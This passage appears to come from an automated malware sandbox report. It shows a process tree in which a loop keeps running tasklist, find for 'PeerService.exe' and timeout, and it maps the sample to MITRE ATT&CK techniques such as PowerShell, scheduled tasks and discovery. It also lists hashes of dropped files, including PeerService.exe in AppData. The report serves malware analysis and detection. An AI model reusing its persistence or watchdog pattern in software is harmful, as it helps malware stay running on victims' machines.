    - Delays execution with timeout.exe
    PID:4276
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4752
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3376
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3352
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2592
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5088
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3536
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4508
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4044
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2964
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2544
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4568
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3812
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:952
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2972
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3000
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:808
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2656
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4120
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1380
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:412
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2500
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3396
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2884
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:640
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3164
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2944
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3240
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3436
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4008
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4952
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4100
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2620
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4832
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1852
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1308
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:900
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4876
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2052
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2108
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1644
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3100
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2020
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2656
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2852
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4336
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2148
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3936
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1344
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:760
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3272
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1136
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3516
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2884
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4016
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2644
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3048
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3804
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2592
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1868
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2076
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3080
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1072
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2524

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 85f6b0971e94daf9fd4e39413824f162851a9f5ce7f989bd92c903a4dbcbef26
MD5 029fbf628b046653ab7ff10b31deeeb2
SHA1 93c2cb1905c8f5e71f5ea97a1e8a8c891eae077c
SHA512 d4e3626dba2572bd1e53446b384962f955cc0c7e56a72cacf50a845d74714ec1020bcb0fdcc50636a1dfd4f08dc34143dbb5638dd90180df6aa31dab9228c98c
TLSH
T192112227F38C8920CC96163A509DAC5172B586DB81AEDF9F7FC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xt01dnsw.mkn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xt01dnsw.mkn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 6.9MB
SHA256 4abb136be4cf2254636dcb5e443cd25f048b09efcc4f53f5ab5661d51721f389
MD5 040a2660799ad9630b76f8f6bfa6e910
SHA1 e1d5c9448e31023cc4496d15b4863f0740f4aaa8
SHA512 c49e8c0072dce124d02f6e4de209cc5b301ab5ef17e9a4b832aa772dec5414ebe9b31da75a8348dca3b946d77af2170a65462720ccccf1ed7933354d2da2afd6
SSDEEP 196608:e+hBtOkhByQyVG/uzGNVyAl3K8fCGnbPTByQyVG/uzGNM:xtOENSG/lVrl3KExLVNSG/lM
TLSH
T10E76016B726901E8D1BFD17CC9065907EBB2780543A0A7DF12E056A62F73BE14E3E711
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4444-22-0x00000240F17B0000-0x00000240F17D2000-memory.dmp

Download